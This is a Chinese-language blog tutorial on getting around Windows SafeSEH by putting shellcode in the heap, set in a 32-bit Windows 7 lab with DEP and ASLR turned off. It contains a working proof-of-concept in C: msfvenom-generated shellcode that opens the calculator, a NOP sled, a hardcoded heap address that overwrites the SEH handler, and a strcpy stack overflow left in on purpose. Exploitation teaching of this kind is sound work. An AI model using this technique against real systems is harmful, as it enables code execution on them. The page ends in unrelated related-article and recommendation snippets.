内存保护机制及绕过方案——从堆中绕过safeSEH
1.1 SafeSEH内存保护机制
1.1.1 Windows异常处理机制
Windows中主要两种异常处理机制,Windows异常处理(VEH、SEH)和C++异常处理。Windows异常处理结构未公开的,包含向量化结构异常VEH及结构化异常处理SEH。由操作系统提供的服务,当一个线程出现错误时,操作系统调用用户定义的一个回调函数_exept_handler。回调函数接收到操作系统传递过来的许多有价值的信息,例如异常的类型和发生的地址。使用这些信息,异常回调函数就能决定下一步做什么。
C++异常处理是C++语言的特性,在Windows平台上由系统提供支持。
Windows异常处理顺序流程
l 终止当前程序的执行
l 调试器(进程必须被调试,向调试器发送EXCEPTION_DEBUG_EVENT消息)
l 执行VEH
l 执行SEH
l TopLevelEH(进程被调试时不会被执行)
l 执行VEH
l 交给调试器(上面的异常处理都说处理不了,就再次交给调试器)
l 调用异常端口通知csrss.exe
1.1.2 SafeSEH工作原理
异常处理链(SEH)结构在通过SHE链绕过/GS中已经介绍过了,这里接直接说safeSEH了,
i. SafeSEH工作流程:

ii. RtlIsVaildHandler() 函数校验流程:

1.1.3 SafeSEH绕过思路
那么有3种情况,系统可以允许异常处理函数执行:
1、异常处理函数位于加载模块内存范围之外,DEP关闭
2、异常处理函数位于加载模块内存范围之内,相应模块未启用SafeSEH(SafeSEH表为空),不是纯IL(ILonly标识,若有这个标志说明该程序只包含.NET编译人中间语言)。
3、异常处理函数位于加载模块内存范围之内,相应模块启用SafeSEH,异常处理函数地址包含在SafeSEH表中。
可以看到,我们突破SafeSEH的方法分为3种
1、排除DEP干扰,在加载模块内存范围外找一个跳板指令就可以转入shellcode执行
2、利用未启用SafeSEH模块中的指令作为跳板,转入shellcode执行
3、针对情况3,可以有两种思路,一种是清空safeSEH表,造成该模块为启用safeSEH的假象,二是将我们的指令注入到safeSEH表,但是safeSEH在内存中是加密存放的,突破的难度很大。
额外的思路(更简单的思路)?
1、 覆盖返回地址或者虚表(但是,限制条件很大,如果函数启用了/GS保护机制,且没有虚函数,那么,这种方法就不能使用了)。
2、 利用safeSEH的缺陷——若SHE中的异常处理函数指针指向堆区,那么即使安全校验发现SEH已经不可信,仍会钓鱼其已经修改过的异常处理函数,因此只要将shellcode布置到堆区就可以绕过safeSEH保护机制了。
1.1.4 从堆中绕过safeSEH
⑴. 原理分析:
利用safeSEH的缺陷——若SHE中的异常处理函数指针指向堆区,那么即使安全校验发现SEH已经不可信,仍会钓鱼其已经修改过的异常处理函数,因此只要将shellcode布置到堆区就可以绕过safeSEH保护机制了。
⑵.环境准备:
i.测试代码如下:
#include <stdafx.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\xbe\xe8\x88\x3c\xfd\xd9\xd0\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x30\x31\x72\x13\x03\x72\x13\x83\xea\x14\x6a\xc9\x01\x0c\xe9"
"\x32\xfa\xcc\x8e\xbb\x1f\xfd\x8e\xd8\x54\xad\x3e\xaa\x39\x41"
"\xb4\xfe\xa9\xd2\xb8\xd6\xde\x53\x76\x01\xd0\x64\x2b\x71\x73"
"\xe6\x36\xa6\x53\xd7\xf8\xbb\x92\x10\xe4\x36\xc6\xc9\x62\xe4"
"\xf7\x7e\x3e\x35\x73\xcc\xae\x3d\x60\x84\xd1\x6c\x37\x9f\x8b"
"\xae\xb9\x4c\xa0\xe6\xa1\x91\x8d\xb1\x5a\x61\x79\x40\x8b\xb8"
"\x82\xef\xf2\x75\x71\xf1\x33\xb1\x6a\x84\x4d\xc2\x17\x9f\x89"
"\xb9\xc3\x2a\x0a\x19\x87\x8d\xf6\x98\x44\x4b\x7c\x96\x21\x1f"
"\xda\xba\xb4\xcc\x50\xc6\x3d\xf3\xb6\x4f\x05\xd0\x12\x14\xdd"
"\x79\x02\xf0\xb0\x86\x54\x5b\x6c\x23\x1e\x71\x79\x5e\x7d\x1f"
"\x7c\xec\xfb\x6d\x7e\xee\x03\xc1\x17\xdf\x88\x8e\x60\xe0\x5a"
"\xeb\x9f\xaa\xc7\x5d\x08\x73\x92\xdc\x55\x84\x48\x22\x60\x07"
"\x79\xda\x97\x17\x08\xdf\xdc\x9f\xe0\xad\x4d\x4a\x07\x02\x6d"
"\x5f\x64\xc5\xfd\x03\x6b"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x38\x2C\x56\x00"//address of shellcode in heap
;
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
zero=1/zero;
}
void main(){
char * buf=(char *)malloc(500);
//__asm int 3
strcpy(buf,shellcode);
test(shellcode);
}
将shellcode复制到堆区,在溢出后,用shellcode在堆区的地址溢出到异常处理函数,在test函数中引发除零异常。异常处理函数接管程序,即,shellcode在此时接管程序。
ii.编译属性设置:

关闭DEP,ASLR保护机制,/GS保护机制没有影响。
iii.测试系统和编译器:
测试系统:Windows 7 32位
编译器: Visual studio 2008
⑶.调试分析:

在main函数中,堆指针为[ebp-0x4],shellcode的指针为[ebp-0x8],而ebp = 0x0012ff44。
所以堆指针的地址 = 0x0012ff40,shellcode的指针 = 0x0012ff3c。
查看堆栈:

看到shellcode地址 = 0x00403018,堆的起始地址 = 0x005812e8
执行到test函数:

Shellcode参数入栈,0x0012ff2c。

Eip:0x0012ff28,ebp:0x0012ff24,cookie^ebp:0x0012ff1c,并通过对strcpy函数的分析发现,0x0012ff54是缓冲区开始的地址。
⑷.攻击过程:
i.确定shellcode大小:
攻击思路是:将异常处理函数的指针换成在堆中的shellcode的指针,那么要确定shellcode的大小就要知道异常处理函数的指针在栈中的地址和缓冲区开始的地址,从缓冲区开始,已知覆盖到异常处理函数的指针。
查看SEH链:

SEH链指针在0x0012FF78,那么异常处理函数指针位于0x0012ff7c,又由(3)知缓冲区的起始地址是0x0012fe54。
所以缓冲区大小 = 0x0012ff78 – 0x0012fe54 + 0x4(指针大小) = 300(字节)。
ii.生成恶意代码(弹出计算器):
这里的恶意代码可以用msfconsole生成:
msfvenom -p windows/exec cmd=calc -b '\x00' -f c
生成长度为216字节的恶意代码。
iii.设计shellcode:
由i的分析可知,shellcode的结构应如下所示:

iv.实施攻击:
程序运行到test函数中的strcpy函数运行结束,

可以看到异常处理函数的指针已经被换成了我们的分配的堆的起始地址,

分配的堆中也已经复制到了shellcode。
接着运行程序,应该就能直接弹出计算器来吧?
???失败?
为什么?
因为,堆在内存中是动态分配的,每次运行,系统分配的堆地址都是不同的,所以,应当在程序运行到分配堆之后,将shellcode中的堆地址,改成此次运行系统所分配的堆的地址,如下图所示:


之后运行程序:

成功弹框。
内存保护机制及绕过方案——从堆中绕过safeSEH的更多相关文章
- 内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH
前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看). 利用未启用SafeSEH模块绕过SafeSEH ⑴. 原理分析: 一个不是仅包含中间语言(1L)且 ...
- 内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制
1 GS内存保护机制 1.1 GS工作原理 栈中的守护天使--GS,亦称作Stack Canary / Cookie,从VS2003起开始启用(也就说,GS机制是由编译器决定的,跟操作系统 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
1. DEP内存保护机制 1.1 DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...
- jvm之java类加载机制和类加载器(ClassLoader),方法区结构,堆中实例对象结构的详解
一.类加载或类初始化:当程序主动使用某个类时,如果该类还未被加载到内存中,则JVM会通过加载.连接.初始化3个步骤来对该类进行初始化.如果没有意外,JVM将会连续完成3个步骤. 二.类加载时机: 1 ...
- Linux下的ASLR(PIE)内存保护机制
1.1 Linux下的ASLR内存保护机制 1.1.1 Linux下的ASLR工作原理 工作原理与window下的aslr类似 1.1.2 Linux下利用内存地址泄露绕过ASLR ⑴. ...
- Android内存机制分析1——了解Android堆和栈
//----------------------------------------------------------------------------------- Android内存机制分析1 ...
- JVM简介堆中新生代老年代浅析
一.JVM内存结构由程序计数器.堆.栈.本地方法栈.方法区等部分组成.1)程序计数器 几乎不占有内存.用于取下一条执行的指令.2)堆 所有通过new创建的对象的内存都在堆中分配,其大小可以通过-Xmx ...
- JVM 堆中对象分配、布局和访问
本文摘自深入理解 Java 虚拟机第三版 对象的创建 Java 是一门面向对象的语言,Java 程序运行过程中无时无刻都有对象被创建出来.从语言层面看,创建对象只是一个 new 关键字而已,而在虚拟机 ...
- /MT、/MD编译选项,以及可能引起在不同堆中申请、释放内存的问题
一.MD(d).MT(d)编译选项的区别 1.编译选项的位置 以VS2005为例,这样子打开: 1) 打开项目的Property Pages对话框 2) 点击左侧C/C ...
随机推荐
- 什么是EJB
学习EJB可以加深对J2EE平台的认识. 百科定义EJB: 被称为java企业bean,服务器端组件,核心应用是部署分布式应用程序.用它部署的系统不限定平台.实际上ejb是一种产品,描述了应用组件要解 ...
- 【Navicat连接Oracle数据库】-Navicat连接Oracle数据库设置
1.navicat连接数据配置信息如下图所示: 点击"确定"按钮,进入到软件 按照图中所画的步骤顺序操作,最后重新启动navicat就可. 关于里面的这个文件夹 insta ...
- web项目的getContextPath()
伯乐一看小编的这个博文的标题是不是觉得有些小,以点到面,知道了web中getContextPath()这种获取路径的方式,显然其他的方式的是可以以此类推的.常说,工作学习找共同点嘛. 上一段我们也提高 ...
- go——反射
反射(reflect)让我们能在运行期探知对象地类型信息和内存结构,这从一定程度上弥补了静态语言在动态行为上地不足.和C数据结构一样,Go对象头部并没有类型指针,通过其自身是无法在运行期获知任何类型相 ...
- Delphi 正则表达式语法(5): 边界
Delphi 正则表达式语法(5): 边界 // \b 单词边界 var reg: TPerlRegEx; begin reg := TPerlRegEx.Create(nil); reg ...
- Linux Shell编程第1章——Shell脚本编程概述
目录 Linux和Shell简介 Linux是一套可免费使用和自由传播的类UNIX操作系统.Shell是一种具备特殊功能的程序,它提供了用户与内核进行交互操作的一种接口.它接收用户输入的命令,并把它送 ...
- Linux网络接口配置文件ifcfg-eth0解析
本文转自:http://blog.csdn.net/jmyue/article/details/17288467 在Windows上配置网络比较容易,有图形化界面可操作.在Linux中往往是通过命令修 ...
- mybatis入门学习记录(一)
过硬的技术本领,可以给我们保驾护航,飞得更高.今天开始呢.我们就一起来探讨使用mybatis的好处. 首先我们一起来先看看原生的JDBC对于数据库的操作,然后总结其中的利弊,为学习mybatis奠定基 ...
- netty1---传统IO和NIO的区别
传统IO: package OIO; import java.io.IOException; import java.io.InputStream; import java.net.ServerSoc ...
- 使用Vue.js初次真正项目开发-2018/07/14
一.组件化 使用Vue.js进行开发,按照MVVM模式,围绕数据为核心,进行开发. 开发过程根据业务和功能组件化,组件化一方面让我们开发思路更加清晰,另一方面对于数据的处理和控制变得更加简单,毕竟一个 ...